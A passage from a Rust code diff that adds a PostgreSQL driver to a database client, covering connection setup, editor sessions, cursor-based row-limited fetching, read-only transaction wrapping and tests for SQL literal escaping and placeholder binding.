Value::Text("(0,1)".to_owned()), + BindTarget::EngineRowId(EngineRowIdPart::PostgresCtid), + ) + .expect("a ctid"); + let oid = dialect + .placeholder( + 1, + Value::Int(16_384), + BindTarget::EngineRowId(EngineRowIdPart::PostgresTableOid), + ) + .expect("a tableoid"); + let xmin = dialect + .placeholder( + 2, + Value::Text("742".to_owned()), + BindTarget::EngineRowId(EngineRowIdPart::PostgresXmin), + ) + .expect("an xmin"); + + assert_eq!(ctid.sql, "$1::tid"); + assert_eq!(oid.sql, "$2::oid"); + assert_eq!(xmin.sql, "$3::xid"); + assert_eq!( + dialect.engine_row_id(EngineRowId::PostgresTableoidCtid), + Some( + r#""tableoid"::oid::int8 AS "__tablepro_row_oid", "ctid"::text AS "__tablepro_row_id", "xmin"::text AS "__tablepro_row_xmin""# + .to_owned() + ) + ); + } + + #[test] + fn network_and_bit_values_bind_as_their_text() { + let inet = column( + ColumnKind::Network(tablepro_core::column::NetworkFamily::Inet), + Some("inet"), + ); + let placeholder = bind( + 0, + Value::Other(Box::new(tablepro_core::value::OtherValue { + type_name: "inet".to_owned(), + text: "10.0.0.1".to_owned(), + })), + &inet, + ) + .expect("an address"); + assert_eq!(placeholder.sql, "$1::inet"); + assert_eq!( + placeholder.param.as_ref().map(BoundParam::param_type), + Some(&ParamType::ServerText(SqlTypeExpr::from_catalog_text("inet"))) + ); + + let bits = column( + ColumnKind::BitString { + length: Some(8), + varying: false, + }, + Some("bit"), + ); + let placeholder = + bind(0, Value::Bits(tablepro_core::value::BitString::from_u64(5, 8)), &bits).expect("a bit string"); + assert_eq!(placeholder.sql, "$1::varbit", "a cast to bit truncates to one bit"); + assert_eq!( + placeholder.param.as_ref().map(BoundParam::param_type), + Some(&ParamType::Bits) + ); + } + + #[test] + fn a_backslash_literal_uses_the_escape_form() { + assert_eq!(literal(&Value::Text("a\\b".to_owned())), Ok("E'a\\\\b'".to_owned())); + assert_eq!(literal(&Value::Text("it's".to_owned())), Ok("'it''s'".to_owned())); + assert_eq!( + literal(&Value::Decimal(SqlDecimal::nan())), + Ok("'NaN'::numeric".to_owned()) + ); + assert_eq!( + literal(&Value::Bytes(vec![0xab, 0x01])), + Ok("decode('ab01', 'hex')".to_owned()) + ); + assert_eq!(literal(&Value::Date(Temporal::Infinity)), Ok("'infinity'".to_owned())); + } + + #[test] + fn like_and_keyset_spelling() { + let dialect = dialect(); + assert_eq!(dialect.escape_like_text("50%_!"), "50!%!_!!"); + assert_eq!( + dialect.row_value_after( + &["\"a\"".to_owned(), "\"b\"".to_owned()], + &["$1".to_owned(), "$2".to_owned()], + KeysetDirection::Before + ), + "(\"a\", \"b\") < ($1, $2)" + ); + assert_eq!(dialect.quote_identifier("a\"b"), "\"a\"\"b\""); + assert!(dialect.ddl().is_some_and(|ddl| ddl.capabilities().partial_indexes)); + } +} diff --git a/linux/crates/drivers/postgres/src/driver.rs b/linux/crates/drivers/postgres/src/driver.rs new file mode 100644 index 0000000000..b05e74bb95 --- /dev/null +++ b/linux/crates/drivers/postgres/src/driver.rs @@ -0,0 +1,77 @@ +use std::sync::Arc; + +use async_trait::async_trait; +use tablepro_core::{ + ConnectOptions, ConnectTarget, Connection, DatabaseDriver, DriverCapabilities, DriverError, TlsCapabilities, +}; +use tokio_util::sync::CancellationToken; +use tokio_util::task::TaskTracker; + +use crate::capabilities::CAPABILITIES; +use crate::connection::PgConnection; +use crate::errors::map_pool_error; +use crate::physical::{PgEndpoint, server_info}; +use crate::pool::build_pool; + +/// PostgreSQL over tokio-postgres, reached through whatever transport the +/// target carries. +#[derive(Debug, Default, Clone, Copy)] +pub struct PgDriver; + +#[async_trait] +impl DatabaseDriver for PgDriver { + fn id(&self) -> &'static str { + "postgres" + } + + fn display_name(&self) -> &'static str { + "PostgreSQL" + } + + fn capabilities(&self) -> &'static DriverCapabilities { + &CAPABILITIES + } + + async fn connect( + &self, + options: ConnectOptions, + cancel: CancellationToken, + ) -> Result, DriverError> { + let ConnectTarget::Network(target) = &options.target else { + return Err(DriverError::Unsupported { + feature: "a database file", + }); + }; + let tls: Option<&TlsCapabilities> = CAPABILITIES.tls.as_ref(); + if let Some(tls) = tls { + target.tls.validate(tls, target.transport.kind().class())?; + } + let endpoint = Arc::new(PgEndpoint::new(target, options.liveness)?); + let tracker = TaskTracker::new(); + let pool = build_pool(endpoint.clone(), tracker.clone())?; + // The first pool member is opened here, so a connect fails with + // the reason the server gave and a cancel abandons the login. + let opening = async { + let first = pool.get().await.map_err(|error| map_pool_error(&error))?; + server_info(&first).await + }; + let opened = tokio::select! { + () = cancel.cancelled() => Err(DriverError::Cancelled), + opened = opening => opened, + }; + match opened { + Ok(server) => Ok(Arc::new(PgConnection::new( + endpoint, + pool, + tracker, + options.workspace_settings, + server, + ))), + Err(error) => { + pool.close(); + tracker.close(); + Err(endpoint.explain(error).await) + } + } + } +} diff --git a/linux/crates/drivers/postgres/src/editor/actor.rs b/linux/crates/drivers/postgres/src/editor/actor.rs new file mode 100644 index 0000000000..09c8169644 --- /dev/null +++ b/linux/crates/drivers/postgres/src/editor/actor.rs @@ -0,0 +1,77 @@ +use std::sync::Arc; +use std::time::Duration; + +use tablepro_core::{DriverError, LossPhase, ResultSink, RunOptions, RunSummary, UserSql}; +use tokio::sync::{mpsc, oneshot}; +use tokio_postgres::error::DbError; +use tokio_util::sync::CancellationToken; + +use super::session_core::{SessionCore, drive}; +use super::session_status::SessionStatus; +use crate::physical::PgRawConnection; + +pub(crate) enum Command { + Run { + sql: UserSql, + options: RunOptions, + sink: Box, + reply: oneshot::Sender>, + }, + Close, +} + +/// The session's task. It owns the client and the connection's I/O +/// half and polls both itself, so notices and parameter changes stay +/// with the session. A result stream's channel is bounded, so while a +/// run awaits the sink the connection stops reading the socket, which +/// holds a fast server back for a slow grid. +pub(crate) async fn session_actor( + mut core: SessionCore, + connection: PgRawConnection, + notices: mpsc::UnboundedSender, + mut commands: mpsc::Receiver, + status: Arc, + shutdown: CancellationToken, + close_timeout: Duration, +) { + let driving = drive(connection, notices, core.conforming.clone()); + let mut driving = std::pin::pin!(driving); + loop { + let command = tokio::select! { + () = &mut driving => break, + command = commands.recv() => command, + }; + let Some(Command::Run { + sql, + options, + mut sink, + reply, + }) = command + else { + // A close, or every handle is gone. Dropping the client first + // lets the connection send Terminate before it ends. + drop(core); + let _ = tokio::time::timeout(close_timeout, &mut driving).await; + status.lose(); + return; + }; + let outcome = tokio::select! { + () = &mut driving => None, + outcome = core.run(&sql, options, sink.as_mut(), &shutdown) => outcome.ok(), + }; + match outcome { + Some(summary) => { + status.finish(summary.transaction_state); + let _ = reply.send(Ok(summary)); + } + None => { + status.lose(); + let _ = reply.send(Err(DriverError::ConnectionLost { + during: LossPhase::Statement, + })); + break; + } + } + } + status.lose(); +} diff --git a/linux/crates/drivers/postgres/src/editor/cursor_flight.rs b/linux/crates/drivers/postgres/src/editor/cursor_flight.rs new file mode 100644 index 0000000000..e6e2dbd73a --- /dev/null +++ b/linux/crates/drivers/postgres/src/editor/cursor_flight.rs @@ -0,0 +1,93 @@ +//! The SQL of the cursor flight, kept apart from the session so the +//! texts and the position arithmetic can be tested on their own. + +use tablepro_core::{DriverError, RowLimit}; + +use crate::errors::sqlstate; + +pub(crate) const CURSOR: &str = "tablepro_cursor"; +pub(crate) const SAVEPOINT: &str = "SAVEPOINT tablepro_cursor_savepoint"; +pub(crate) const ROLLBACK_TO_SAVEPOINT: &str = "ROLLBACK TO SAVEPOINT tablepro_cursor_savepoint"; +pub(crate) const RELEASE_SAVEPOINT: &str = "RELEASE SAVEPOINT tablepro_cursor_savepoint"; +pub(crate) const CLOSE: &str = "CLOSE tablepro_cursor"; + +/// The newline after FOR keeps a statement that starts with a comment +/// intact, and the FETCH goes in a message of its own, so a trailing +/// `--` comment in the statement cannot swallow it. +const DECLARE_PREFIX: &str = "DECLARE tablepro_cursor NO SCROLL CURSOR FOR\n"; + +pub(crate) fn declare(statement: &str) -> String { + format!("{DECLARE_PREFIX}{statement}") +} + +/// One row past the limit, so a full result is told apart from one cut +/// short without reading the rest. +pub(crate) fn fetch(limit: RowLimit) -> String { + format!("FETCH FORWARD {} FROM {CURSOR}", limit.get().saturating_add(1)) +} + +/// A refusal that means the statement cannot be a cursor at all: a +/// data-modifying WITH (0A000), or SELECT INTO (42601). Nothing ran, so +/// the statement can go again as it is. +pub(crate) fn needs_plain_statement(error: &DriverError) -> bool { + matches!(sqlstate(error), Some("0A000" | "42601")) +} + +/// The server counts an error position in characters from the start of +/// the message it parsed, which here starts with the DECLARE. The user +/// wants it counted from the start of their own statement. +pub(crate) fn correct_position(error: DriverError) -> DriverError { + let prefix = u32::try_from(DECLARE_PREFIX.chars().count()).unwrap_or(u32::MAX); + match error { + DriverError::Server(mut diagnostics) => { + diagnostics.position = diagnostics + .position + .and_then(|position| position.checked_sub(prefix)) + .filter(|position| *position > 0); + DriverError::Server(diagnostics) + } + other => other, + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::{ServerCode, ServerDiagnostics}; + + use super::*; + + fn syntax_error(code: &str, position: u32) -> DriverError { + let mut diagnostics = ServerDiagnostics::new(Some(ServerCode::SqlState(code.to_owned())), "syntax error"); + diagnostics.position = Some(position); + DriverError::reported(diagnostics) + } + + #[test] + fn error_position_is_corrected() { + let prefix = u32::try_from(DECLARE_PREFIX.chars().count()).expect("a short prefix"); + let corrected = correct_position(syntax_error("42601", prefix + 8)); + + let DriverError::Server(diagnostics) = corrected else { + panic!("the error changed kind"); + }; + assert_eq!(diagnostics.position, Some(8)); + } + + #[test] + fn the_fetch_asks_for_one_row_past_the_limit_in_its_own_message() { + let limit = RowLimit::new(100).expect("a limit"); + + assert_eq!(fetch(limit), "FETCH FORWARD 101 FROM tablepro_cursor"); + assert_eq!( + declare("SELECT 1 -- trailing"), + "DECLARE tablepro_cursor NO SCROLL CURSOR FOR\nSELECT 1 -- trailing" + ); + } + + #[test] + fn only_the_cursor_refusals_fall_back() { + assert!(needs_plain_statement(&syntax_error("0A000", 1))); + assert!(needs_plain_statement(&syntax_error("42601", 1))); + assert!(!needs_plain_statement(&syntax_error("42P01", 1))); + } +} diff --git a/linux/crates/drivers/postgres/src/editor/editor_dispatch.rs b/linux/crates/drivers/postgres/src/editor/editor_dispatch.rs new file mode 100644 index 0000000000..f1f335412c --- /dev/null +++ b/linux/crates/drivers/postgres/src/editor/editor_dispatch.rs @@ -0,0 +1,162 @@ +use tablepro_core::{DriverError, ReadOnlyRefusal}; + +use super::statement_class::StatementClass; +use super::transaction_tracker::KnownState; + +/// How one editor statement goes to the server. +#[derive(Debug, Clone, PartialEq)] +pub(crate) enum Flight { + /// Refused before anything is sent. + Refuse(DriverError), + /// The simple protocol, as psql sends a statement. + Simple(Wrap), + /// A cursor that fetches one row past the limit, so a large result + /// stops on the server instead of crossing the wire. + Cursor(CursorOwner), +} + +/// What surrounds a simple statement in a read-only session. Read-only +/// is set per transaction, never per session, so nothing outlives the +/// statement on a server connection a pooler shares. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum Wrap { + None, + /// START TRANSACTION READ ONLY, the statement, COMMIT. + ReadOnlyTransaction, + /// The user's BEGIN, then SET TRANSACTION READ ONLY. + ReadOnlyAfterStart, +} + +/// Whose transaction the cursor lives in. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum CursorOwner { + /// The session is idle, so the driver opens a transaction for the + /// cursor and ends it after the fetch. + Driver { read_only: bool }, + /// The user's transaction is open, so the cursor sits behind a + /// savepoint that a refused DECLARE can roll back to. + Savepoint, +} + +/// The flight for one statement, from its class, the session's tracked +/// status and whether the connection is read-only. +pub(crate) fn plan(class: StatementClass, state: KnownState, read_only: bool) -> Flight { + match class { + StatementClass::CopyFromStdin => { + return Flight::Refuse(DriverError::Unsupported { + feature: "COPY FROM STDIN in the editor", + }); + } + StatementClass::CopyToStdout => { + return Flight::Refuse(DriverError::Unsupported { + feature: "COPY TO STDOUT in the editor", + }); + } + StatementClass::TwoPhase if read_only => { + return Flight::Refuse(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)); + } + _ => {} + } + match (state, class) { + // An aborted block refuses everything but its own end, so there + // is nothing to wrap and no cursor to open. + (KnownState::Failed, _) => Flight::Simple(Wrap::None), + (KnownState::Idle, StatementClass::RowSource) => Flight::Cursor(CursorOwner::Driver { read_only }), + (KnownState::InTransaction, StatementClass::RowSource) => Flight::Cursor(CursorOwner::Savepoint), + (KnownState::Idle, StatementClass::TransactionStart) if read_only => Flight::Simple(Wrap::ReadOnlyAfterStart), + (KnownState::Idle, StatementClass::Other { .. } | StatementClass::Undetermined) if read_only => { + Flight::Simple(Wrap::ReadOnlyTransaction) + } + _ => Flight::Simple(Wrap::None), + } +} + +/// The plan for a row source whose DECLARE was refused, which then runs +/// as a plain statement under the same read-only rule. +pub(crate) fn fallback(owner: CursorOwner) -> Wrap { + match owner { + CursorOwner::Driver { read_only: true } => Wrap::ReadOnlyTransaction, + CursorOwner::Driver { read_only: false } | CursorOwner::Savepoint => Wrap::None, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn read_only_plan_per_class_and_status() { + use KnownState::{Failed, Idle, InTransaction}; + + let other = StatementClass::Other { reports_rows: true }; + let commit = StatementClass::TransactionEnd { + rollback: false, + chain: false, + }; + let cases = [ + (other, Idle, true, Flight::Simple(Wrap::ReadOnlyTransaction)), + (other, Idle, false, Flight::Simple(Wrap::None)), + (other, InTransaction, true, Flight::Simple(Wrap::None)), + (other, Failed, true, Flight::Simple(Wrap::None)), + ( + StatementClass::Undetermined, + Idle, + true, + Flight::Simple(Wrap::ReadOnlyTransaction), + ), + ( + StatementClass::TransactionStart, + Idle, + true, + Flight::Simple(Wrap::ReadOnlyAfterStart), + ), + ( + StatementClass::TransactionStart, + Idle, + false, + Flight::Simple(Wrap::None), + ), + (commit, InTransaction, true, Flight::Simple(Wrap::None)), + ( + StatementClass::RowSource, + Idle, + true, + Flight::Cursor(CursorOwner::Driver { read_only: true }), + ), + ( + StatementClass::RowSource, + InTransaction, + true, + Flight::Cursor(CursorOwner::Savepoint), + ), + (StatementClass::RowSource, Failed, false, Flight::Simple(Wrap::None)), + ( + StatementClass::TwoPhase, + Idle, + true, + Flight::Refuse(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)), + ), + (StatementClass::TwoPhase, Idle, false, Flight::Simple(Wrap::None)), + ]; + for (class, state, read_only, expected) in cases { + assert_eq!( + plan(class, state, read_only), + expected, + "{class:?} {state:?} {read_only}" + ); + } + } + + #[test] + fn copy_from_stdin_is_refused_before_anything_is_sent() { + assert!(matches!( + plan(StatementClass::CopyFromStdin, KnownState::Idle, false), + Flight::Refuse(DriverError::Unsupported { .. }) + )); + assert_eq!( + fallback(CursorOwner::Driver { read_only: true }), + Wrap::ReadOnlyTransaction + ); + assert_eq!(fallback(CursorOwner::Savepoint), Wrap::None); + } +} diff --git a/linux/crates/drivers/postgres/src/editor/editor_session.rs b/linux/crates/drivers/postgres/src/editor/editor_session.rs new file mode 100644 index 0000000000..44afb469f1 --- /dev/null +++ b/linux/crates/drivers/postgres/src/editor/editor_session.rs @@ -0,0 +1,140 @@ +use std::sync::atomic::AtomicBool; +use std::sync::{Arc, Mutex, PoisonError}; +use std::time::Duration; + +use async_trait::async_trait; +use tablepro_core::{ + CallOptions, DriverError, EditorSession, EditorSessionId, EditorSessionOptions, EditorSessionState, LossPhase, + ResultSink, RunOptions, RunSummary, TransactionState, UserSql, +}; +use tokio::sync::{mpsc, oneshot}; +use tokio::task::JoinHandle; +use tokio_util::sync::CancellationToken; + +use super::actor::{Command, session_actor}; +use super::session_core::SessionCore; +use super::session_status::SessionStatus; +use crate::physical::PgEndpoint; + +/// One editor tab's own connection, run by an actor task that owns it. +/// +/// No session-level SET is ever sent: behind a transaction pooler the +/// server connection is shared, and a session setting would follow it +/// to other clients. Read-only is applied per transaction and deadlines +/// are enforced with cancel requests. +pub(crate) struct PgEditorSession { + id: EditorSessionId, + commands: mpsc::Sender, + status: Arc, + shutdown: CancellationToken, + actor: Mutex>>, + close_timeout: Duration, +} + +impl PgEditorSession { + pub(crate) async fn open( + endpoint: Arc, + read_only: bool, + options: EditorSessionOptions, + cancel: CancellationToken, + ) -> Result, DriverError> { + let (client, connection) = endpoint.open(&cancel).await?; + let close_timeout = endpoint.liveness().close_timeout; + let (notice_sender, notices) = mpsc::unbounded_channel(); + // PostgreSQL has defaulted to on since 9.1; the server reports + // its own value at startup and on every change. + let conforming = Arc::new(AtomicBool::new(true)); + let core = SessionCore::new( + client, + endpoint, + read_only, + options.statement_timeout, + notices, + conforming, + ); + let (commands, receiver) = mpsc::channel(1); + let status = Arc::new(SessionStatus::new()); + let shutdown = CancellationToken::new(); + // The tab owns the session, and it outlives the workspace + // connection, so the actor is not on the workspace's tracker. + let actor = tokio::spawn(session_actor( + core, + connection, + notice_sender, + receiver, + status.clone(), + shutdown.clone(), + close_timeout, + )); + Ok(Arc::new(Self { + id: EditorSessionId::new(), + commands, + status, + shutdown, + actor: Mutex::new(Some(actor)), + close_timeout, + })) + } +} + +#[async_trait] +impl EditorSession for PgEditorSession { + fn id(&self) -> EditorSessionId { + self.id + } + + fn state(&self) -> EditorSessionState { + self.status.state() + } + + async fn run( + &self, + sql: UserSql, + options: RunOptions, + sink: Box, + ) -> Result { + self.status.begin()?; + // Dropping the caller is itself a cancel: the statement is + // already running on the server and has to be stopped. + let guard = options.cancel.clone().drop_guard(); + let (reply, answer) = oneshot::channel(); + let command = Command::Run { + sql, + options, + sink, + reply, + }; + if self.commands.send(command).await.is_err() { + self.status.lose(); + return Err(lost()); + } + let outcome = answer.await.unwrap_or_else(|_| Err(lost())); + drop(guard.disarm()); + outcome + } + + async fn transaction_state(&self, _options: CallOptions) -> Result { + match self.status.state() { + EditorSessionState::Lost => Err(lost()), + EditorSessionState::Ready | EditorSessionState::Running => Ok(self.status.transaction()), + } + } + + async fn close(&self) { + self.shutdown.cancel(); + let _ = self.commands.try_send(Command::Close); + let actor = self.actor.lock().unwrap_or_else(PoisonError::into_inner).take(); + if let Some(mut actor) = actor + && tokio::time::timeout(self.close_timeout, &mut actor).await.is_err() + { + actor.abort(); + } + self.status.lose(); + } +} + +fn lost() -> DriverError { + DriverError::ConnectionLost { + during: LossPhase::Idle, + } +} diff --git a/linux/crates/drivers/postgres/src/editor/mod.rs b/linux/crates/drivers/postgres/src/editor/mod.rs new file mode 100644 index 0000000000..570d453aeb --- /dev/null +++ b/linux/crates/drivers/postgres/src/editor/mod.rs @@ -0,0 +1,16 @@ +//! Editor sessions in psql's execution model: the script is split on the +//! client and sent one statement per message, with the transaction +//! status followed statement by statement. + +mod actor; +mod cursor_flight; +mod editor_dispatch; +mod editor_session; +mod run; +mod session_core; +mod session_status; +pub(crate) mod statement_class; +mod stop_watch; +mod transaction_tracker; + +pub(crate) use editor_session::PgEditorSession; diff --git a/linux/crates/drivers/postgres/src/editor/run.rs b/linux/crates/drivers/postgres/src/editor/run.rs new file mode 100644 index 0000000000..5a7c71a95e --- /dev/null +++ b/linux/crates/drivers/postgres/src/editor/run.rs @@ -0,0 +1,466 @@ +use std::sync::Arc; +use std::sync::atomic::Ordering; + +use futures_util::StreamExt; +use tablepro_core::sql_syntax::SqlGrammar; +use tablepro_core::sql_syntax::script::{LexicalSettings, ScriptPlan, ScriptToken}; +use tablepro_core::{ + DriverError, ReadOnlyRefusal, ResultEvent, ResultSink, RowLimit, RunEnd, ServerCode, ServerNotice, SinkFlow, + Truncation, Value, +}; +use tokio_postgres::SimpleQueryMessage; + +use super::cursor_flight::{ + CLOSE, RELEASE_SAVEPOINT, ROLLBACK_TO_SAVEPOINT, SAVEPOINT, correct_position, declare, fetch, needs_plain_statement, +}; +use super::editor_dispatch::{CursorOwner, Flight, Wrap, fallback, plan}; +use super::session_core::{Lost, SessionCore}; +use super::statement_class::{StatementClass, classify}; +use super::stop_watch::{Interrupt, StopWatch}; +use super::transaction_tracker::{KnownState, Next, PROBE_RELEASE, PROBE_SAVEPOINT, probe_answer}; +use crate::cancel::acknowledges_stop; +use crate::catalog::text_column; +use crate::errors::{map_error, sqlstate}; + +/// Rows per `ResultEvent::Rows`. The sink is awaited per batch, so a slow +/// grid slows the read instead of growing a queue. +const BATCH_ROWS: usize = 256; + +/// What a message is for. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum Role { + /// The driver's own statement: its results and notices are not the + /// user's data. + Control, + User { + class: StatementClass, + cursor: bool, + }, +} + +/// One run of user SQL on the session. +pub(crate) struct Run<'a> { + core: &'a mut SessionCore, + sink: &'a mut dyn ResultSink, + watch: StopWatch, + limit: RowLimit, + sink_gone: bool, +} + +/// The result set an exchange is reading. +#[derive(Debug, Default)] +struct ResultSet { + open: bool, + retained: u64, + total: u64, + batch: Vec>, + limit_reported: bool, +} + +impl<'a> Run<'a> { + pub(crate) fn new( + core: &'a mut SessionCore, + sink: &'a mut dyn ResultSink, + watch: StopWatch, + limit: RowLimit, + ) -> Self { + Self { + core, + sink, + watch, + limit, + sink_gone: false, + } + } + + pub(crate) fn stopped(&self) -> bool { + self.watch.fired().is_some() + } + + /// Run the script one statement at a time, as psql does, stopping at + /// the first failure. + pub(crate) async fn script(&mut self, sql: &str) -> Result { + let mut offset = 0; + 'plans: loop { + let conforming = self.core.standard_conforming_strings(); + let rest = sql.get(offset..).unwrap_or_default(); + let plan = ScriptPlan::build( + rest, + SqlGrammar::PostgreSql, + LexicalSettings { + backslash_escapes: !conforming, + }, + ); + for statement in plan.statements() { + if let Some(interrupt) = self.watch.due() { + self.watch.fire(interrupt, None); + } + if let Some(interrupt) = self.watch.fired() { + return Ok(end_after_stop(interrupt, &DriverError::Cancelled)); + } + let tokens: Vec = plan.tokens(statement.range.clone()).collect(); + let class = classify(rest, &tokens); + self.watch.begin_statement(self.core.statement_timeout()); + if let Some(error) = self.statement(statement.text(rest), class).await? { + return Ok(match self.watch.fired() { + Some(interrupt) => end_after_stop(interrupt, &error), + None => RunEnd::Failed(error), + }); + } + // A statement that switched standard_conforming_strings + // changes how the rest of the script reads. + if self.core.standard_conforming_strings() != conforming { + offset += statement.extent.end; + continue 'plans; + } + } + return Ok(match self.watch.fired() { + Some(interrupt) => end_after_stop(interrupt, &DriverError::Cancelled), + None => RunEnd::Completed, + }); + } + } + + async fn statement(&mut self, text: &str, class: StatementClass) -> Result, Lost> { + match plan(class, self.core.tracker.state(), self.core.read_only) { + Flight::Refuse(error) => Ok(Some(error)), + Flight::Simple(wrap) => self.simple(text, class, wrap).await, + Flight::Cursor(owner) => self.cursor(text, class, owner).await, + } + } + + async fn simple(&mut self, text: &str, class: StatementClass, wrap: Wrap) -> Result, Lost> { + let user = Role::User { class, cursor: false }; + match wrap { + Wrap::None => { + let error = self.exchange(text, user).await?; + self.track(class, error.is_none()).await?; + Ok(error) + } + Wrap::ReadOnlyTransaction => { + if let Some(error) = self.exchange("START TRANSACTION READ ONLY", Role::Control).await? { + return Ok(Some(error)); + } + let error = self.exchange(text, user).await?; + // After a failure the COMMIT ends the aborted block as a + // rollback, so either way the session is idle again. + self.exchange("COMMIT", Role::Control).await?; + self.core.tracker.set(KnownState::Idle); + Ok(error.map(read_only_refusal)) + } + Wrap::ReadOnlyAfterStart => { + let error = self.exchange(text, user).await?; + if error.is_none() { + self.exchange("SET TRANSACTION READ ONLY", Role::Control).await?; + } + self.track(class, error.is_none()).await?; + Ok(error) + } + } + } + + /// A row source read through a cursor, so a result larger than the + /// limit stops on the server. The DECLARE and the FETCH go as + /// separate messages. + async fn cursor( + &mut self, + text: &str, + class: StatementClass, + owner: CursorOwner, + ) -> Result, Lost> { + let open = match owner { + CursorOwner::Driver { read_only: true } => "START TRANSACTION READ ONLY", + CursorOwner::Driver { read_only: false } => "BEGIN", + CursorOwner::Savepoint => SAVEPOINT, + }; + if let Some(error) = self.exchange(open, Role::Control).await? { + return Ok(Some(error)); + } + if let Some(error) = self.exchange(&declare(text), Role::Control).await? { + let error = correct_position(error); + if needs_plain_statement(&error) && !self.stopped() { + self.abandon_cursor(owner, true).await?; + return self.simple(text, class, fallback(owner)).await; + } + self.abandon_cursor(owner, false).await?; + return Ok(Some(error)); + } + let fetched = self + .exchange(&fetch(self.limit), Role::User { class, cursor: true }) + .await?; + if let Some(error) = fetched { + self.abandon_cursor(owner, false).await?; + return Ok(Some(error)); + } + self.exchange(CLOSE, Role::Control).await?; + let closed = match owner { + CursorOwner::Driver { .. } => self.exchange("COMMIT", Role::Control).await?, + CursorOwner::Savepoint => self.exchange(RELEASE_SAVEPOINT, Role::Control).await?, + }; + Ok(closed) + } + + /// Undo the cursor's own transaction or savepoint after a failure. + /// + /// Inside the user's transaction a statement that really failed still + /// aborts it, as it would without the row limit; only a DECLARE the + /// cursor itself caused to fail is rolled back to the savepoint. + async fn abandon_cursor(&mut self, owner: CursorOwner, refused_declare: bool) -> Result<(), Lost> { + match (owner, refused_declare) { + (CursorOwner::Driver { .. }, _) => { + self.exchange("ROLLBACK", Role::Control).await?; + self.core.tracker.set(KnownState::Idle); + } + (CursorOwner::Savepoint, true) => { + self.exchange(ROLLBACK_TO_SAVEPOINT, Role::Control).await?; + self.exchange(RELEASE_SAVEPOINT, Role::Control).await?; + } + (CursorOwner::Savepoint, false) => self.core.tracker.set(KnownState::Failed), + } + Ok(()) + } + + async fn track(&mut self, class: StatementClass, succeeded: bool) -> Result<(), Lost> { + match self.core.tracker.after(class, succeeded) { + Next::Known(state) => { + self.core.tracker.set(state); + Ok(()) + } + Next::Probe => self.probe().await, + } + } + + /// Ask the server where the session stands: SAVEPOINT succeeds only + /// inside a healthy block, and its two errors name the other states. + pub(crate) async fn probe(&mut self) -> Result<(), Lost> { + for _ in 0..2 { + let error = self.exchange(PROBE_SAVEPOINT, Role::Control).await?; + match probe_answer(error.as_ref().and_then(sqlstate)) { + Some(KnownState::InTransaction) => { + self.exchange(PROBE_RELEASE, Role::Control).await?; + self.core.tracker.set(KnownState::InTransaction); + return Ok(()); + } + Some(state) => { + self.core.tracker.set(state); + return Ok(()); + } + // A cancel that landed on the probe itself; ask again. + None => {} + } + } + Err(Lost) + } + + /// Send one message and read everything it returns, keeping the + /// first error. A stop that fires meanwhile sends the cancel request + /// and keeps reading, because the statement's answer, its 57014 or + /// its rows, is still on the wire. + async fn exchange(&mut self, sql: &str, role: Role) -> Result, Lost> { + self.watch.settle().await; + if self.stopped() && role != Role::Control { + return Ok(Some(DriverError::Cancelled)); + } + let stream = match self.core.client.simple_query_raw(sql).await { + Ok(stream) => stream, + Err(_) => return Err(Lost), + }; + let mut stream = std::pin::pin!(stream); + let mut set = ResultSet::default(); + let mut first_error = None; + loop { + let next = tokio::select! { + biased; + next = stream.next() => next, + interrupt = self.watch.triggered(), if !self.stopped() => { + let running = Some((Arc::clone(&self.core.endpoint), self.core.cancel_token.clone())); + self.watch.fire(interrupt, running); + continue; + } + () = self.watch.gave_up(), if self.stopped() => return Err(Lost), + }; + match next { + None => break, + Some(Ok(message)) => { + if let Role::User { class, cursor } = role { + self.deliver(message, &mut set, class, cursor).await; + } + } + // Anything but a server error means the connection itself + // failed, and the stream will not reach its end. + Some(Err(error)) if error.as_db_error().is_none() => return Err(Lost), + Some(Err(error)) => { + first_error.get_or_insert_with(|| map_error(&error)); + } + } + } + match role { + Role::User { .. } => self.forward_notices().await, + Role::Control => self.core.discard_notices(), + } + Ok(first_error) + } + + async fn deliver(&mut self, message: SimpleQueryMessage, set: &mut ResultSet, class: StatementClass, cursor: bool) { + match message { + SimpleQueryMessage::RowDescription(columns) => { + set.open = true; + let columns = columns.iter().map(|column| text_column(column.name())).collect(); + self.send(ResultEvent::ResultSetStarted { columns }).await; + } + SimpleQueryMessage::Row(row) => { + set.total += 1; + if set.retained < self.limit.get() { + let values = (0..row.len()) + .map(|index| match row.get(index) { + Some(text) => Value::Text(text.to_owned()), + None => Value::Null, + }) + .collect(); + set.batch.push(values); + set.retained += 1; + if set.batch.len() >= BATCH_ROWS { + self.flush(set).await; + } + } else if !set.limit_reported { + set.limit_reported = true; + self.flush(set).await; + self.send(ResultEvent::RowLimitReached { retained: set.retained }).await; + } + } + SimpleQueryMessage::CommandComplete(count) => { + if set.open { + self.flush(set).await; + let truncated = set.total > set.retained; + self.send(ResultEvent::ResultSetFinished { + retained: set.retained, + // A cursor stops one row past the limit, so how + // many rows there were in all is not known. + total_rows: (!(cursor && truncated)).then_some(set.total), + truncation: if truncated { + Truncation::ReadPastLimit + } else { + Truncation::Complete + }, + }) + .await; + *set = ResultSet::default(); + } else { + self.send(ResultEvent::CommandCompleted { + rows_affected: class.reports_rows().then_some(count), + }) + .await; + } + } + _ => {} + } + } + + async fn flush(&mut self, set: &mut ResultSet) { + if set.batch.is_empty() { + return; + } + let rows = std::mem::take(&mut set.batch); + self.send(ResultEvent::Rows(rows)).await; + } + + async fn send(&mut self, event: ResultEvent) { + self.forward_notices().await; + self.accept(event).await; + } + + async fn accept(&mut self, event: ResultEvent) { + if self.sink_gone { + return; + } + if self.sink.accept(event).await == SinkFlow::ConsumerGone { + self.sink_gone = true; + let running = Some((Arc::clone(&self.core.endpoint), self.core.cancel_token.clone())); + self.watch.fire(Interrupt::ConsumerGone, running); + } + } + + pub(crate) async fn forward_notices(&mut self) { + while let Some(notice) = self.core.next_notice() { + self.accept(ResultEvent::Notice(ServerNotice { + severity: notice.severity().to_owned(), + message: notice.message().to_owned(), + code: Some(ServerCode::SqlState(notice.code().code().to_owned())), + })) + .await; + } + } +} + +/// How a run that was stopped ends. The server's 57014 is the +/// acknowledgement; any other error was the statement's own. +fn end_after_stop(interrupt: Interrupt, error: &DriverError) -> 